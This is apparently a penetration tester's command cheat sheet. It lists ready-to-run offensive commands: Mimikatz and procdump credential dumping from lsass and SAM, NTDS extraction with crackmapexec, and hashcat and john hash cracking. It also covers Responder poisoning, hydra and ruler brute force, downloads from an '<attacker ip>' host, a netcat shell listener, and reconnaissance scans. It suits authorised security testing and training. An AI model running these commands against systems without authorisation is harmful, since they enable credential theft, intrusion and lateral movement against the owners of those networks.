Show binary protections:
$ rabin2 -I <binary>
$ checksec -f <binary>
List imported functions:
$ rabin2 -i <binary>
List functions written by the programmer (approx.):
$ rabin2 -qs <binary> | grep -ve imp -e ' 0 '
List symbols: (a = inlcude debug symbols, n = sort by address [numeric])
$ nm -a -n <binary>
Strings:
$ rabin2 -z <binary>
ROP gadgets:
$ python3 Ropper.py -f <file(s)>
--all
--search 'inc eax'
--jmp eax
--badbytes 000a0d
--console
--help
| Function | Command |
|---|---|
| Open file | $ r2 <binary> |
| Help | > ? |
| Quit | > q |
| Analyse all | > aa |
| List functions | > afl |
| Disassemble function | > pdf [@ <function name>] |
python3 -m http.server
python2 -m SimpleHTTPServer
https://blog.didierstevens.com/programs/pdf-tools/
Download Bleeding John (https://github.com/magnumripper/JohnTheRipper). Use pdf2john.pl.
$ perl pdf2john.pl file.pdf > pdf-hash.txt
$ john --wordlist=/w/rockyou.txt pdf-hash.txt
from PIL import Image
img = Image.open("image.png")
pixels = list(img.getdata())$ fcrackzip -u -D -p '/w/rockyou.txt' -v file.zip
C:\Windows\System32\spool\drivers\color\
runas /netonly /user:domain\username powershell
dsquery user -s <DC IP address>
$ExecutionContext.SessionState.LanguageMode
PS C:\> Invoke-WebRequest -uri http://<attacker ip>/<file> -o <output filename>
PS C:\> iwr -uri http://<attacker ip>/<file> -o <output filename>
rlwrap nc -nvlp 4444
| Action | Command |
|---|---|
| New tmux | tmux new -s ... |
| List tmuxs | tmux ls |
| Attach to tmux | tmux a -t ... |
| Detatch from tmux | Ctrl+b d |
| Scroll mode | Ctrl+b [ |
| Exit scroll mode | q |
apktool d <package.apk>
apktool b <package/>
cp <package>/dist/<package.apk> .
keytool -genkey -v -keystore debug.keystore -alias android -keyalg RSA -keysize 2048 -validity 20000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore debug.keystore <package.apk> android
OR
jarsigner -verbose -sigalg SHA256withRSA -keystore debug.keystore <package.apk> android
jarsigner -verify -verbose -certs <package.apk>
zipalign -v 4 <package.apk> <package-align.apk>
| Action | Command |
|---|---|
| List connected devices | adb devices [-l] |
| Install apk via adb | adb install <package.apk> |
| Ininstall apk via adb | adb uninstall <package-name> |
| Spawn Android shell | adb shell |
| Display log | adb logcat [-f log.txt] |
| Download file | adb pull <remote-file> <local> |
| Upload file | adb push <local-file> <remote> |
| Action | Command |
|---|---|
| Instrument app | objection patchapk --source <package.apk> |
| Start objection | objection explore |
Note: Run mkdir -p /root/.local/share/apktool/framework before running objection patchapk.
Listen on port 443:
tcpdump -i eth0 -nn -s0 -v port 443
Listen on all but port 22
tcpdump -i eth0 -nn -s0 -v port not 22
https://hackertarget.com/tcpdump-examples/
sqlmap -r <file.req> --risk=3 -- level=3
Safe:
./Responder.py -I eth0 -wrf
Dangerous:
./Responder.py -I eth0 -wrfd
Responder:
~/Tools/fanspeedSetNew.sh -s 100; ~/Tools/hashcat/hashcat64.bin -m 5600 -O -w 3 --session <session-name> responder.txt -o responder-cracked.txt /media/data/Wordlists/linkedin.txt -r ~/Tools/hashcat/rules/OneRuleToRuleThemAll.rule
NTLM (NTDS.DIT):
~/Tools/fanspeedSetNew.sh -s 100; ~/Tools/hashcat/hashcat64.bin -m 1000 -O -w 3 --session <session-name> ntlm.txt -o ntlm-cracked.txt /media/data/Wordlists/linkedin.txt -r ~/Tools/hashcat/rules/OneRuleToRuleThemAll.rule
LM:
~/Tools/fanspeedSetNew.sh -s 100; ~/Tools/hashcat/hashcat64.bin -m 3000 -O -w 3 --session <session-name> lm.txt -o lm-cracked.txt -a 3 '?a?a?a?a?a?a?a' --increment
Print passwords in pot file:
~/Tools/fanspeedSetNew.sh -s 100; ~/Tools/hashcat/hashcat64.bin hashes.txt --show
Restore a session:
~/Tools/fanspeedSetNew.sh -s 100; ~/Tools/hashcat/hashcat64.bin --session <session-name> --restore
Apply rules to passwords:
john --stdout --wordlist=simpleps.txt --rules > complex-pws.txt
SMB:
hydra -L <usernames.txt> -P <passwords.txt> -o hydra-out.txt -u smb://<IP>
.\ruler-win64.exe --domain <domain> brute --users .\usernames.txt --passwords .\passwords.txt
masscan -p1-65535,U:1-65535 --open --banners -oB massscan-all-tcp-udp <IP>
masscan --readscan massscan-all-tcp-udp
Logging (run at the start):
log logfile1
Dumping hashes locally:
privilege::debug
sekurlsa::logonpasswords
Dumping hashes remotely:
TARGET >
procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp
LOCAL MIMIKATZ >
log
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords
Extract certificate:
crypto::capi
crypto::certificates /systemstore:local_machine /export
Dump SAM:
privilege::debug
token::elevate
lsadump::sam
Installation:
apt-get install crackmapexec
Find shares:
crackmapexec smb -d <domain> -u <user> -p <password> 10.10.10.0/24 --shares
Dump NTDS:
crackmapexec smb -d <domain> -u <user> -p <password> <Domain Controller IP> --ntds drsuapi
Azucar (https://github.com/nccgroup/azucar)
Get TenantID, then login in with password:
.\Azucar.ps1 -ResolveTenantUserName <user@domain.com>
.\Azucar.ps1 -TenantID <tenantID> -ForceAuth -ExportTo CSV,JSON,XML,EXCEL
To get the Tenant-ID, log in to the portal and search for "tenant properties".
No MFA
python scout.py azure --user-account
With MFA
python scout.py azure --user-account-browser --tenant <tenant-id>
https://github.com/nccgroup/ScoutSuite/wiki/Azure
https://github.com/OWASP/Amass/
Check sources
amass intel -list
Intel ASN for org name
amass intel -org <org_name>
Intel IP address Note: best to run individually for each IP address.
amass intel -active -p 80,443 -ip -ipv4 -ipv6 -src -addr <IP_address>
Intel domain Note: best to run individually for each domain.
amass intel -active -whois -src -d <domain>
Enum domain
amass enum -active -brute -ip -ipv4 -ipv6 -nf <known-subdomains.txt> -oA <amass-enum> -p <ports> -src -d <domain>
python3 dirsearch.py -r -R 2 -t 30 -F -e <extensions> -x 444 -u <URL>
sudo airodump-ng --beacons --wps --output-format pcap,csv,gps,kismet,netxml,logcsv --band abg -w outfilename wlan0mon
fping -ag 10.1.1.0/24 2>/dev/null
import hashlib,binascii
ntlm = lambda x: print(binascii.hexlify(hashlib.new('md4', x.encode('utf-16le')).digest()).decode('utf-8'))
ntlm("Password1")